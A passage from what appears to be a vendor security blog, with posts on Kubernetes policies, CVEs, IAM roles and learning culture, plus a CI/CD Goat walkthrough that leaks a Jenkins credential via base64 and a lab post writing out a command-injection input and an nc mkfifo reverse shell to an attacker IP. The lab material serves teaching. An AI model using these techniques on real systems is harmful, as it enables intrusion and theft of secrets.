they can move around, and what they can carry. Without container
policies, your K8s cluster would have chaos, filled with resource
conflicts and security vulnerabilities.

So, it's safe to say that having container policies is non-negotiable if
you want to keep your containerized apps running smoothly.

Types of container policies

What kinds of container policies are out there? Let’s break down the
most important ones to know about:

Network policies control traffic flow, governing which pods can communicate. Want to keep some pods isolated? Network policies are your go-to solution.
Resource quotas play the role of budget managers for your K8s cluster. They set limits on CPU and memory usage within namespaces, ensuring that no single application hogs all the resources.
Security policies set rules on things like privilege escalation and access to host resources.

Why are K8s container policies a big deal?

Alright. So, we have container policies in place. What’s the real
impact? Let’s see.

Enhanced security

In today’s cloud-native landscape, security breaches are your worst
nightmare, and they’re a constant threat. Fortunately, container
policies act like your personal security detail. Let’s take network
policies, for example. Imagine a malicious container that attempts to
extract data from another container within the cluster. A network policy
can prevent this kind of breach by isolating containers and blocking
access.

Resource optimization

What organization wouldn’t want to save money and boost performance?
Resource quotas help you do just that. They make sure no single pod hogs
all the resources. The result is predictable and efficient resource
allocation throughout your cluster, while preserving your application’s
full functionality. With properly tuned resource quotas, you’ll get cost
savings and optimized application performance.

Getting started with K8s container policies

That’s pretty good for a foundational understanding of container
policies. Now, let’s walk through some concrete steps for how to get
started.

Setting up a basic K8s cluster

To set up a K8s cluster, you can refer to a full step-by-step
guide
for creating a cluster on AWS. In summary, the key steps are:

Provision the AWS resources, including a virtual private cloud (VPC), EC2 instances, and security groups.
Use command-line tools like kops or eksctl to install K8s on your EC2 instances.
Configure networking components like subnets and route tables to ensure communication within your cluster.
Deploy a sample pod to verify that your cluster is up and running.

Setting up clusters on other cloud providers is equally straightforward.

Examples of policy setup

Here are some examples of container policy implementation.

Network policy

Suppose you want to enforce a network policy that allows specific pods
to communicate with one another. Let’s look at the following definition
in YAML:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-frontend-backend
spec:
  podSelector:
    matchLabels:
      role: frontend
  policyTypes:
  - Ingress
ingress:
  - from:
    - podSelector:
        matchLabels:
          role: backend

In this example, the network policy allows traffic from pods labeled
backend to reach pods labeled as frontend. This effectively isolates
certain pods, restricting which ones can access the frontend.

Resource quota

Resource quotas ensure that your pods do not consume excessive
resources. Here's an example:

apiVersion: v1
kind: ResourceQuota
metadata:
  name: compute-resources
spec:
  hard:
  pods: "10"
  requests.cpu: "4"
  requests.memory: 4Gi
  limits.cpu: "8"
  limits.memory: 8Gi

In this policy, we restrict the number of pods to 10. Then, we set
limitations on CPU and memory usage. This ensures the proper
distribution of resources and prevents any single pod from monopolizing
them.

Security policy

Consider the following example of a security policy:

apiVersion: security.k8s.io/v1
kind: PodSecurityPolicy
metadata:
  name: restricted
spec:
  privileged: false
  seLinux:
    rule: RunAsAny
  supplementalGroups:
    rule: RunAsAny
  runAsUser:
    rule: MustRunAsNonRoot

In this example, we implement measures such as:

Prohibiting privileged containers (privileged: false)
Enforcing SELinuxs runAsAny rule
Ensuring that containers do not run as the root user

Just to be clear, you can also configure some security settings for pods
and containers through the securityContext for your pod specification.
This includes setting whether or not to allowPrivilegeEscalation. For
more information, you can reference the documentation here:
https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

The above examples are a great starting point for developing your own
K8s container policies. Depending on your requirements and use case, you
can expand these policies to align with your security context and
permissions needs.

Remember to apply these policies. You’ll use tools like kubectl to
update the control plane through the Kubernetes API.

How do CNAPPs step up your K8s security game?

You've got Kubernetes up and running, and you've set up some solid
policies. But what about the more general security risks associated with
cloud-native, containerized applications? You know—the ones that keep
you up at night. This is where CNAPPs come into play. CNAPPs are your
security command centers, designed specifically for the cloud-native
world. Let's dig into how they make your life easier.

Role in K8s security

Kubernetes is complex, no doubt about it. And with complexity comes
risk. So, how do CNAPPs help?

Configuration management: Are you ever worried that you (or more likely, one of the other engineers on your team) set things up the wrong way, leaving a gaping security hole? CNAPPs automatically flag any missteps in your Kubernetes setup that could be exploited.
Container runtime protection: What is happening in your containers right now? CNAPPs monitor container activity, alerting you or taking predefined actions if something looks fishy.
Network segmentation: Are you clear and confident about who is allowed to talk to whom within your K8s cluster? CNAPPs can help you establish rock-solid network policies.
Vulnerability management: Do you know what’s in your containers? From third-party dependencies to open-source libraries, CNAPPs scan your container images for vulnerabilities to protect you from deploying anything risky.

Securing containerized applications

Let’s step back from K8s specifically to look more generally at
containerized applications. CNAPPs help you with security here, too.

Threat detection: CNAPPs continuously monitor your apps, bringing real-time threat detection and mitigation.
Policy enforcement: As you define security policies, CNAPPs ensure enforcement throughout the application lifecycle.
Visibility and monitoring: Your DevSecOps team needs a bird’s-eye view of your app’s security. CNAPPs provide the insights and analytics to make this possible.
Integration with CI/CD: As the industry moves toward “shift left security,” it makes sense if security checks are just part of the build process. CNAPPs fit right into your CI/CD pipeline, making sure that everything in your app is secure before it goes live.

Why should you choose Panoptica for managing your K8s policies?

Panoptica (from
Outshift) is a CNAPP solution that
helps organizations gain the upper hand in container security and
efficiency. Continuous monitoring from Panoptica gives you 24/7,
360-degree visibility into what’s happening in your K8s clusters.
Proactive security measures help you identify vulnerabilities and
misconfigurations before they can be exploited. And Panoptica’s
Kubernetes Security Posture Management (KSPM) maps out how K8s
objects relate to one another, providing you with a complete view of
your cluster's security posture.

Wrapping up

Managing large-scale, containerized applications can be chock full of
challenges. However, with the right K8s container policies and reliable
tools like Panoptica, you’re well-equipped to face them. You not only
get robust security measures but also an optimized container ecosystem.

So, what's next? If you're looking to dive deeper into Kubernetes and
container policies, sign up
to try out Panoptica for free today. We're here to guide you through the
complexities and help you fortify your native apps against emerging
threats.

What’s the Deal with CVEs?

Jan Schulte — Fri, 22 Dec 2023 14:00:00 +0000

What’s the Deal with CVEs?

Understanding Common Vulnerabilities and Exposures (CVEs) is a non-negotiable skill for software developers, especially those stepping into the realm of DevSecOps. When you ignore CVEs, you’re risking not just your project but also your entire business. In this post, we'll break down the concept of CVEs, step-by-step, so you can level up your
security game.

Let's kick things off by understanding what a CVE actually is.

What is a CVE?

CVE stands for Common Vulnerabilities and Exposures. It's a standardized
identifier for publicly known cybersecurity vulnerabilities. The public
database of CVEs is maintained by the MITRE Corporation at
https://www.cve.org. Another database,
NIST's National Vulnerability Database
(NVD), syncs with the data from the MITRE’s
CVE list, but enhances the list with more information. These
organizations share information and work in collaboration with the U.S. Department of Homeland Security (DHS).

A CVE is researched and written up by CVE Numbering Authorities (CNAs). These are organizations with cybersecurity professionals who volunteer
their time to research potential vulnerabilities and then report them.

CVE records typically include a unique identifier, a brief description, and references to related vulnerabilities or patches. To make this more concrete, let's walk through an example CVE entry:
CVE-2020-12345.

CVE ID: The CVE identifier is unique for each and vulnerability, such as CVE-2020-12345.
Severity scoring: The NVD also provides a severity of the vulnerability based on the common vulnerability scoring system (CVSS). CVSS scores are often used by vulnerability management systems for prioritization.
Description: The description simply summarizes what the vulnerability is and how it can affect systems. In the case of this CVE, it is: “Improper permissions in the installer for the Intel(R) Data Center Manager Console before version 3.6.2 may allow an authenticated user to potentially enable escalation of privilege via local access.”
References: These are links to patches, security advisories, or other related vulnerabilities. This particular CVE includes a link to the vendor advisory (from Intel) for this vulnerability.

Now that we've got the basics down, let's dive into the impact of CVEs on your applications.

Impact of CVEs on applications

CVEs can have a profound impact on your applications and, by extension, your business. Understanding these impacts is crucial for effective risk management. Let's break this down into two key areas: security risks and business implications.

Security risks

CVEs detail where and how your application might be exposed to a variety of security risks, bringing potential for data breaches and system compromise.

Imagine a hacker exploiting a vulnerable third-party library that your web application depends on. They could get their hands on sensitive user data, like credit card numbers or personal identification. But it doesn't stop there. They could manipulate system functionalities, disable security features, or even deploy malicious code.

Business implications

Beyond the immediate security concerns, an exploited CVE could devastate your business. A single exploited vulnerability can lead to reputational damage and loss of customer trust. On top of this, you have the financial burden of addressing a security breach, and the potential legal consequences. But they’re also the source of a lot of “noise” for developers. How do you filter the signal from the noise?

Case study: Heartbleed

Heartbleed was a security bug in the OpenSSL cryptography library, a widely-used software for implementing SSL/TLS protocols to secure internet communication. The bug was introduced in OpenSSL's heartbeat extension (which is how it got the name "Heartbleed"). Attackers exploiting this vulnerability could read sensitive data directly from the memory of the target server, gaining
unauthorized access to encryption keys, passwords, and user data.

Heartbleed was officially referenced as
CVE-2014-0160.

The impact of Heartbleed was staggering, affecting a vast number of businesses and individual users. A big reason for this was because just about everybody relies on OpenSSL in some way. When the CVE was disclosed, approximately 17% of the world’s secure web servers (that’s about half a million servers) were believed to be vulnerable—and those were just web servers. Nearly three years after the disclosure, nearly
200,000 internet-connected devices were still found to be vulnerable.

The vulnerability exposed millions of login credentials. Companies worldwide—including Akamai, AWS, GitHub, Pinterest, Reddit, and Stripe—needed to patch their systems and then issue notices advising customers to change their passwords. Websites and services across all sectors, from government agencies to businesses, shut down temporarily to address the security flaws.

What did we learn from Heartbleed? We learned that organizations need these things:

Regular security audits
Timely patch management
An incident response plan
Transparent communication with their user base during a cybersecurity crisis

Let’s move from example to action. How can you leverage CVEs to your advantage?

Leveraging CVEs

CVEs aren't just doom and gloom. They’re supposed to help you make sure your systems are secure.

So, what should you do when a CVE is disclosed? Here's a quick checklist
of steps:

Check for vendor updates. Software vendors often release patches or advisories when a CVE is disclosed. Check with them for updates first.
Assess impact. Evaluate how (or whether) the CVE affects your specific environment. Not all CVEs will be relevant to your system. Not affected? Then return to your codebase and your coffee.
Apply patches. If a patch is available, apply it immediately to your affected systems.
Update dependencies. Sometimes the CVE affects a library or component your software relies on. Make sure to update these dependencies.
Notify stakeholders. Keep your team in the loop. If necessary, update your customers with helpful information too. Transparency can go a long way in retaining customer trust.
Monitor. After patching, keep an eye on system logs and traffic. Make sure the issue is truly resolved.

Be warned: attackers read CVE databases too. Your inaction could be their opportunity. Attackers will use CVE list information to identify unpatched systems, and they’ll work quickly and efficiently to get their foot in the door before you lock it. Attackers can automate scans for vulnerable systems and exploit them faster than you might think. So,
once a CVE is disclosed, the clock is ticking.

Panoptica: Your CVE Noise Reduction Tool

When it comes to helping you navigate CVEs, Panoptica is a cloud-native application protection platform (CNAPP) that integrates seamlessly with your cloud environment. Some of the key features that Panoptica brings to the table include:

CVE data enrichment with IntSights: Panoptica's integration with IntSights adds an extra layer of intelligence to your CVE data. Using dark web threat intelligence data from IntSights, Panoptica will provide a risk score—tailored to your unique cloud-native setup—for each CVE, helping you prioritize which vulnerabilities to address first.
Attack path analysis: Panoptica identifies potential attack paths within your environment. By understanding how an attacker might exploit vulnerabilities, you can take proactive measures to secure your applications.
Prevention measures: Panoptica offers real-time automated alerts and continuous monitoring. This allows you to measure the effectiveness of your security measures and make data-driven decisions.

Conclusion

CVEs are key to cybersecurity and threat preparedness. Whether you’re a software engineer or on the DevOps team, you can’t afford to ignore the helpful information that comes from CVE disclosures. CVEs can help you manage the security risks—whether those might be compromised credentials, the installation of malicious code, data exfiltration or loss, or other threats.

Panoptica helps you understand the vulnerabilities affecting your cloud environment and provides actionable insights to secure your applications.

We’ve talked about how adopting DevSecOps methodologies is a journey. Remember that security is not a one-and-done thing. It’s an ongoing process. Panoptica will ride along with you, offering the tools you need to deal with CVEs effectively.

Explore what Panoptica has to offer by signing up for free today.

An introduction to IAM Roles

Jan Schulte — Fri, 15 Dec 2023 14:00:00 +0000

If you're a software developer who is just wading into the ocean that is
cybersecurity and DevSecOps, you might be overwhelmed by the many
challenges in front of you. Data breaches. Unauthorized access.
Ransomware. These are just a few of the threats you'll encounter. It can
be a lot to take in.

Leveling up your DevSecOps skills is a journey. Take it one step at a
time. One of those steps—the one we’ll focus on here—is identity and
access management (IAM). IAM roles are crucial, especially when working
in cloud environments. They help you control who has access to what. IAM
roles serve as a cornerstone for any effective security strategy.

In this post, we'll explore the fundamentals of IAM roles, guide you
through developing a sensible IAM strategy, and share some best
practices. We'll also discuss how Panoptica can assist you in monitoring
and enforcing your IAM policies effectively.

Understanding the basics of IAM roles

So, what exactly is an IAM role? Before we dive in, here are some key
terms to lay the foundation:

An action is an operation performed on a resource.
A permission specifies whether an action is allowed or denied.
A policy is a set of rules that outline permissions for actions,

often expressed as JSON.
An IAM identity refers to a user or a role to which a policy is

attached.

An IAM user is tied one-to-one with an individual. IAM roles don’t work
like that. Instead, they can be assigned to multiple users or even
resources. Let's illustrate with an example.

A practical use case: EC2 instances

Imagine you have an Amazon EC2 instance and you want to control who can
start or stop it. You start by crafting a policy that permits these
Amazon Web Services (AWS) IAM actions:

ec2:StartInstances
ec2:StopInstances

Alice leads your IT admin team, and she needs to start and stop your
instance. One way to do this would be to attach your policy to Alice’s
user account. But what happens if others on the IT team—Bob and
Charlie—also need permission to perform these actions? You would need to
attach the policy to Bob’s and Charlie’s individual IAM users too.

As your IT team grows or its responsibilities change, managing common
permissions on a per-user basis becomes a huge headache. You could be
juggling dozens of policies and attaching them to users based on their
responsibilities.

Here's where AWS IAM roles come in handy. You can create a role—let's
give it the role name ec2-manager—and attach the proper policies to it.
Then, you assign this role to Alice, Bob, and Charlie. Voila! You're
improving your AWS security workflows and making your life a lot easier.

By the way, users aren’t the only ones who can be assigned an IAM role.
AWS resources can be assigned roles too. Imagine if you had a Lambda
that needed permission to start or stop your EC2 instance. Then, you
could assign the ec2-manager role to that Lambda resource.

How do IAM roles help with security?

You might be asking, "How does this make my system more secure?" Well,
IAM roles offer a more organized approach to access management.
Instead of focusing on individual users, you focus on roles. This
minimizes the risk of unauthorized actions. But be cautious—a poor
configuration or improperly assigned role can wreak havoc. So, it's
crucial to get your IAM roles right.

Crafting a sensible IAM strategy

Creating an IAM strategy isn't a one-size-fits-all deal. It needs to be
customized to fit your organization's unique needs and the types of
threats you're up against.

Step 1: Assess your needs

First off, what needs protecting? This isn't just a list; knowing what
you have helps you figure out what you could lose. This is your asset
inventory. Assuming your cloud provider is AWS, Inventory all the
resources in your AWS account that are crucial for your operations—like
databases, API endpoints, cloud computing workloads, VPCs, Amazon S3
buckets, and other AWS services.

By identifying what needs to be protected, you’ll better understand the
scope of your IAM strategy. This will help you allocate resources more
effectively and prioritize your security measures.

Step 2: Design policies

Alright, you've got your inventory. The next question is this: What are
people allowed to do with those resources? Or better yet, what should
they not be allowed to do? This is where you design your policies,
creating rules that dictate what can and cannot be done with the
resources you've identified.

For each resource, define what actions are allowed or denied. Go with
the principle of least privilege: grant only the minimum permissions
necessary to perform a task. Well-designed policies minimize the risk of
unauthorized access or actions. They serve as your first line of defense
against potential security breaches.

Step 3: Assign roles

With policies in hand, it’s time to create and assign roles. This is the
fun part. Think of it like a casting call for a movie—except the stakes
are way higher. Create roles that correspond to different job functions
within your organization. Assign the appropriate permission policies to
the roles you’ve created. Be cautious of roles that are too permissive.

Finally, attach roles to individual users. Make sure that Alice, Bob,
and whoever else is on your team get roles that fit their job functions.
Don’t forget to consider what non-human resources (like a Lambda) might
also need to be assigned roles so that they can do their jobs too.

Best practices for IAM roles

Your IAM strategy and roles are in place. Nicely done. What else should
you do to keep things running securely?

Conduct regular audits. Job functions change all the time, so you

need regular IAM check-ups. Keep an eye out for outdated permissions
or over-permissive roles. You can do this manually or automate this
with tools.
Implement multi-factor authentication (MFA). MFA makes sure the

individuals accessing your resources are who they claim to be. It’s
an extra layer of security, protecting you against common attacks
like phishing.
Rotate roles. Change the IAM roles assigned to users or services

on a regular basis. This limits the window of opportunity for any
would-be attackers and minimizes the risk of long-term exploits.

IAM policy monitoring and enforcement with Panoptica

Panoptica is a cloud-native application protection platform (CNAPP)
designed to enhance your security posture across the board. It gives you
continuous monitoring to ensure your IAM policies are consistently
applied across your cloud environment. It can detect and mitigate
changes or breaches in your IAM roles—in real time—offering features
like automated policy enforcement and incident response.

IAM roles are your building blocks for a secure cloud environment.
Crafting a solid IAM strategy isn't just smart; it's essential. If
you're looking to take your IAM strategy to the next level, Panoptica
will help. It offers the tools you need to monitor and enforce your IAM
policies effectively. Sign
up to try out Panoptica for free
today!

How easy is it to steal credentials from Jenkins with Commit Access?

Jan Schulte — Fri, 22 Sep 2023 21:25:12 +0000

What is the first thing you do when you start at a new company? You'll spend the first few days requesting access to various systems.

If the company is using GitHub Enterprise or some other on-prem version control system, you will likely not see any repositories once you sign in. Why is that?
You're part of the team now. Shouldn't you have access?
Of course. But only for the projects you work on.
If you ever wondered why that's the case and why you don't get all privileges by default, this blog post is for you.

Access All Areas Gone Wrong

In this blog post, we want to explore what happens if a development machine gets compromised, granting an attacker write access to source code repositories.
To experience this first-hand, we're using CI/CD Goat, and one of the CTF challenges to play through the scenario of an attacker gaining access to sensitive data within build infrastructure.

What is CI/CD Goat?

A quick Google search reveals a long list of so-called "Goat" projects.
The purpose of these projects is to provide a deliberately vulnerable environment for users to practice their security skills.

CI/CD Goat provides a deliberately vulnerable CI/CD sandbox environment to practice exploiting pipelines and stealing secrets.
While you could use some of the techniques required to win the challenges to break into other systems, the main goal is to teach tech professionals how attackers leverage security vulnerabilities so they can build more secure systems.

The attacker mindset

As software developers, we learn early on to think about technical debt, good abstractions, etc.
We value maintainable systems and work to improve them daily.

Switching sides to security and suddenly priorities change. Instead of thinking about technical debt and abstractions, the focus lies on "How easy can an outsider exploit this feature?" or "Could this be an attack vector?"
If you set foot into the security field for the first time today, concerns such as attack vectors might initially seem foreign.
The good news is that you can learn all this the same way you learned how to become a software developer.

Let's pretend we are an attacker who gained access to a developer's machine.
It is our goal to obtain sensitive information. The most straightforward way in this scenario is by exploiting the CI/CD pipeline.

CI/CD Goat Rules

Once CI/CD Goat is up and running and you are logged in to the dashboard, you have access to a variety of exercises to practice attacking CI/CD pipelines.
The dashboard organizes exercises by difficulty level.

The objective for each challenge is to "capture the flag," meaning that there are one or more tokens we need to obtain during this challenge. The flag can be a specific and custom ID or a PYPi access token. The challenge is complete once we've found and submitted the token.

Steal the Token - White Rabbit

White Rabbit is an easy challenge, suitable for newcomers. Right off the bat, you have write access to the repository to push commits and merge pull requests.
To win the challenge, you need to obtain the flag, which is stored in the Jenkins credential store.

Recon

Before getting started, it's a good idea to look at the project and how it is set up.
Looking at the directory structure, it seems White Rabbit is a Python project:



✦ ➜ ls -l
drwxr-xr-x    - user 20 Sep 10:13 changelog
.rw-r--r--  39k user 20 Sep 10:13 CHANGES.rst
drwxr-xr-x    - user 20 Sep 10:13 ci
.rw-r--r-- 5.2k user 20 Sep 10:13 CODE_OF_CONDUCT.md
.rw-r--r--  156 user 20 Sep 10:13 codecov.yml
.rw-r--r--  291 user 20 Sep 10:13 dev-requirements.txt
drwxr-xr-x    - user 20 Sep 10:13 docs
drwxr-xr-x    - user 20 Sep 10:13 dummyserver
.rw-r--r--  619 user 21 Sep 12:10 Jenkinsfile
.rw-r--r-- 1.1k user 20 Sep 10:13 LICENSE.txt
.rw-r--r--  208 user 20 Sep 10:13 MANIFEST.in
.rw-r--r--  119 user 20 Sep 10:13 mypy-requirements.txt
.rw-r--r-- 5.1k user 20 Sep 10:13 noxfile.py
.rw-r--r-- 4.5k user 20 Sep 10:13 README.rst
.rw-r--r-- 1.1k user 20 Sep 10:13 setup.cfg
.rwxr-xr-x 4.1k user 20 Sep 10:13 setup.py
drwxr-xr-x    - user 20 Sep 10:13 src
drwxr-xr-x    - user 20 Sep 10:13 tests
.rw-r--r--  232 user 20 Sep 10:13 towncrier.toml

Since this exercise focuses on exploiting CI/CD pipelines, let's take a brief look at the contents of the ci folder:



❯ ls -l ci
.rwxr-xr-x 195 user 20 Sep 10:13 deploy.sh
.rw-r--r-- 451 user 20 Sep 10:13 requests.patch
.rwxr-xr-x 143 user 20 Sep 10:13 run_tests.sh

Also, in the root folder, we can see there's a Jenkinsfile:



pipeline {
    agent any
    environment {
        PROJECT = "src/urllib3"
    }

    stages {
        stage ('Install_Requirements') {
            steps {
                sh """
                    virtualenv venv
                    pip3 install -r requirements.txt || true
                """
            }
        }

        stage ('Lint') {
            steps {
                sh "pylint ${PROJECT} || true"
            }
        }

        stage ('Unit Tests') {
            steps {
                sh "pytest"
            }
        }
    }
    post { 
        always { 
            cleanWs()
        }
    }
}

While the ci folder might contain something we could exploit, the better starting point is the Jenkinsfile.
Jenkins uses this file to build and run the project whenever we make a commit. Since we have write access to the repository, we can modify this file to obtain the token and win the challenge.

Preparing the steal

From the info box on the dashboard, we know the flag is called flag1. We could find it somewhere in the Jenkins Web UI. But the token is likely configured, so it's not easily accessible via the Web UI.
Therefore, let's start by modifying the pipeline and adding an env output:



pipeline {
    agent any
    environment {
        PROJECT = "src/urllib3"
    }

    stages {

        /* Add this stage */
        stage ('recon') {
          steps {
            sh "env"
          }
        }

        stage ('Install_Requirements') {
            steps {
                sh """
                    virtualenv venv
                    pip3 install -r requirements.txt || true
                """
            }
        }

        stage ('Lint') {
            steps {
                sh "pylint ${PROJECT} || true"
            }
        }

        stage ('Unit Tests') {
            steps {
                sh "pytest"
            }
        }

    }
    post { 
        always { 
            cleanWs()
        }
    }
}

We add a new stage right at the beginning of the workflow to print out all configured environment variables via env.
We could get lucky, and the flag is an environment variable.
Commit the changes and use the Gitea UI to create a pull request for the branch:

Let's look at the build log in Jenkins in a separate tab.

The log output does not reveal anything useful. Jenkins is not providing secrets as part of the regular environment.

Attack

Since the flag is sensitive information, it's likely to be stored in the Jenkins Credential Store.
Therefore, we're enhancing our Jenkinsfile in two ways:

Create a new environment variable FLAG that holds the flag value pulled from the credential store
Print the secret value into the build log



pipeline {
    agent any
    environment {
        PROJECT = "src/urllib3"
        /*Add this*/
        FLAG = credentials("flag1")
    }

    stages {
        stage ('Install_Requirements') {
            steps {
                sh """
                    virtualenv venv
                    pip3 install -r requirements.txt || true
                """
            }
        }

        /*Add this*/
        stage ('Creds') {
          steps {
            sh """
            echo $FLAG | base64 
            """
          }
        }

        stage ('Lint') {
            steps {
                sh """
                /* pylint ${PROJECT} || true */
                env
                """
            }
        }

        stage ('Unit Tests') {
            steps {
                sh "pytest"
            }
        }
    }
    post { 
        always { 
            cleanWs()
        }
    }
}

Notice how we're piping the flag into base64: echo $FLAG | base64.
If we didn't convert the flag to base 64, Jenkins would automatically mask the credential with stars.

Once we push and go over to Jenkins again, we see the stage running and printing the secret:



[Pipeline] }
[Pipeline] // stage
[Pipeline] stage[](http://localhost:8080/job/wonderland-white-rabbit/job/PR-2/2/console#)
[Pipeline] { (Creds)[](http://localhost:8080/job/wonderland-white-rabbit/job/PR-2/2/console#)
[Pipeline] sh[](http://localhost:8080/job/wonderland-white-rabbit/job/PR-2/2/console#)
Warning: A secret was passed to "sh" using Groovy String interpolation, which is insecure.
         Affected argument(s) used the following variable(s): [FLAG]
         See [https://jenkins.io/redirect/groovy-string-interpolation](https://jenkins.io/redirect/groovy-string-interpolation) for details.
+ echo ****
+ base64
MDYxNjVERjItQzA0Ny00NDAyLThDQUItMUM4RUM1MjZDMTE1Cg==

With minimal effort, we were able to steal a secret.

What does that mean for me?

Just because somebody works at your company doesn't mean they should automatically be trusted.
Traditional IT is often based on the "castle and moat" concept. It isn't easy to access the castle, but once inside, everybody is automatically trusted. You might have experienced this first hand in a new job. Once you get your primary user account, you can access every resource within the company network.

In today's day and age, it is much more apt to follow a zero-trust approach. While we don't suspect our coworkers have any malicious intent, we prepare for the case a coworker's computer gets compromised.
Instead of allowing an attacker to walk through open doors, every door is locked by default to increase the effort for each attempted attack.

Only developers who need access should get it when it comes to securing development infrastructure. And even then, you should extend as few privileges as possible. The fewer privileges we grant, the more difficult it becomes for somebody to attack the system.

What are your thoughts on this topic? Were you surprised by how easy it can be to steal an access token from a CI pipeline? Comment below.

We Don’t Bite! How to Overcome Imposter Syndrome to Foster a Culture of Open and Judgement-Free Learning

Chris Lentricchia 🤙 — Wed, 13 Sep 2023 14:42:14 +0000

With KubeCon North America around the corner, I’m reminded of the great opportunity for learning and self-improvement presented by attending the world’s premier cloud native event. Attending KubeCon is like having a completely new hard drive wired into your brain – it’s a mecca for learning. Although now in its eith year, KubeCon still remains an attraction for many first-time attendees, students, and people looking to dive deeper into cloud native. According to the Cloud Native Computing Foundation’s transparency report from KubeCon NA 2022, 61% of attendees were first-time attendees. While I’ve always made a point of offering advice to our newer cloud native citizens on how to approach learning at KubeCon, I’ve never documented my thoughts on how to approach learning within the cloud native ecosphere. In this article, I’m going to break down a few simple mantras and rules that you can use to adopt a mindset and a culture of judgement-free learning in order to get outside of your own head, grow as human being, and get the most of your cloud native experiences – even if you aren’t attending KubeCon. This article pertains to learning cloud native technologies but contains universal truths that are applicable to learning in general.

You are no more-or-less capable of learning anything than the next person

Because your own strength is unequal to the task, do not assume that it is beyond the powers of man; but if anything is within the powers and province of man, believe that it is within your own compass also. - Marcus Aurelius

If another human being has learned something, you are equally capable of doing so. Statistically speaking, most of us are of average intelligence, and with certain extremely rare exceptions, nobody is born with the capability for knowing more-or-less than others. The only reason someone has gotten experienced in a specific area is likely because they’ve spent a lot of time with it. For instance, if someone has been attending KubeCon for multiple years, they’re likely going to be more experienced in the cloud native space than a person who is a newcomer. There’s no fancy degree, course, or magic pill, that makes someone eminently more qualified to understand a concept over another person. My first tip to anyone looking to learn and expand their horizons as a human being, is to always remember that you are capable of learning anything that the next person is capable of learning. By keeping this lesson first-and-foremost in your mind when approaching cloud native learning, you can build the confidence to start developing and asking questions, no matter your background.

If someone ever judges you for asking a question, that’s on them, not you.

If you have an apple and I have an apple and we exchange these apples then you and I will still each have one apple. But if you have an idea and I have an idea and we exchange these ideas, then each of us will have two ideas. – George Bernard Shaw

Often, I see newcomers to tech conferences or companies who may be afraid or embarrassed to ask questions for fear of asking something that they think is elementary, “stupid” or obvious, and then getting judged for it. Firstly, the vast majority of people at KubeCon, or in the cloud native community in general, will be flattered that you found them to be a reliable source of knowledge and will gladly answer your question to the best of their abilities. Chances are whomever you are asking that elementary or “stupid” question to, has had has the same question at one point themselves. They may have had the question a long time ago - or it may have been more recently, but chances are they had the same question that you do. And maybe they even figured it out themselves because they were too embarrassed to ask, too!

Understand that there is no human who knows everything or has the answers to every problem – they might act like they do, but they don’t; they’re a human just like you. Not knowing something is not a representation of yourself or how smart you are. Chances are that you also know something the other person doesn’t. Asking a question is simply asking for an exchange of knowledge about a particular topic. That said, if someone judges you for asking any question, it's really not your problem; go find someone else who will answer your question without judgement. I promise - it’s not you.

It’s not that you can’t understand a concept, it’s that you haven’t found someone who can explain it in a way that makes sense to you

Effective teaching may be the hardest job there is. – William Glasser

Being able to effectively convey ideas to another human is a brutally difficult job. Teaching not only involves having cardinal knowledge of the topic itself, but being able to relay that knowledge in a way that resonates with the individual receiving the knowledge. People learn in a variety of different ways. Some people learn better from pictures and diagrams, some people learn by being hands-on, and yet others learn from verbal communication. For example, if someone asked me to explain Kubernetes, I might say that Kubernetes is like a road. On that road, there are cars that we call “containers” and passengers inside those cars that we call “applications”. That explanation makes sense to me, but to someone else, it might lead to more confusion because they might be looking for more contextual details. That doesn’t make either of us wrong, or not smart, it makes us human – and although all humans are fundamentally the same, we are also slightly different. In that way, you can think of a teacher-student relationship as two pieces of pipe, where both pieces must precisely fit together in order to start the flow of inflation. Some people may have pipes made of steel; others of PVC; some with larger diameters; and some with smaller diameters. You can understand anything you put your mind to, you just have to find the right fit to help you understand. My third and last tip for learning and self-improvement is that humans learn differently, and you need to find someone who can explain things to you in a way that fits your learning style.

Parting thoughts

The mind can either be your best friend or your worst enemy. It is the only one that can hold you back in life. By remembering these three mantras, hopefully you can unblock your own mind to make your KubeCon North America experience more fruitful. Even if you aren’t attending KubeCon and instead learning from a distance, you can start your leaning by joining CNCF slack and OutShift by Cisco slack .

Take the first steps to harden your Kubernetes cluster

Jan Schulte — Fri, 08 Sep 2023 21:58:01 +0000

Out of the box, a brand-new Kubernetes deployment is insecure by default.
It is a blessing for development since we can focus on building applications without going through too much red tape.
Once we move into production, however, that's when we need to double down on security.
In this blog post, you will learn two approaches to make your cluster more secure.
We will start by exploiting a vulnerable application and enumerating cluster resources.

Please note: The attack scenario here is only for demonstration purposes and the vulnerable application.

The attack scenario

A Kubernetes cluster runs a vulnerable Node.js application that's public-facing. We will use this application to gain access to the pod and other resources within the cluster.

Setup

Our setup consists of:

A EKS Cluster
A vulnerable Node.js workload
A Grafana workload
An operator workload
An EC2 virtual machine to drive the attack from
- With pwncat-cs installed

Clone the following repository and follow the instructions in the README:

https://github.com/schultyy/vulnerable-k8s-deployment

This setup consists of an AWS Kubernetes Cluster, a Node.js application vulnerable to command injection, and a service living in another namespace.

The script you run sets up everything so we can start immediately.
We won't go through the steps of setting up a public-facing load balancer. Instead, we'll simulate it by port-forwarding the service:

kubectl port-forward svc/syringe-service 8080:8080

Attacking an application via command injection

The application we're looking at today has a straightforward task: Check if a service behind a domain name is available.

The output suggests that it seems to run the ping command behind the scenes. That's a perfect opportunity to test if we can inject other commands.
Open the page again, and provide google.com; whoami as input.

The output confirms it: the input is not sanitized, and we can run arbitrary commands. We just discovered a vulnerability we can leverage to gain access.

Gaining access with a reverse shell

Open revshells.com in your browser. We want to open a reverse shell into the container. Get the public IP address from your EC2 machine and paste it into the IP address field. For port, choose 8888.

Scroll through the list until you find nc mkfifo. Copy the command.
Example:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <IP ADDRESS> 8888 >/tmp/f

We're using pwncat-cs to listen for incoming connections and elevate to a shell. Log into the EC2 VM and run:

pwncat-cs -lp 8888

Now that we're listening for incoming connections, return to the browser and open the application tab again. Paste a domain together with the revshell string into the application's text field:

google.com ; <REV SHELL String>

Once you click submit, the tab will show a loading indicator.
Go back to your terminal. pwncat should have accepted a new incoming connection by now. Your output should look similar to the following example:

ubuntu@ip-172-31-12-79:~$ pwncat-cs -lp 8888
[15:11:04] Welcome to pwncat 🐈!                                                                                   __main__.py:164
[15:11:13] received connection from <IP>:35812                                                                     bind.py:84
[15:11:14] 0.0.0.0:8888: upgrading from /usr/bin/dash to /usr/bin/bash                                              manager.py:957
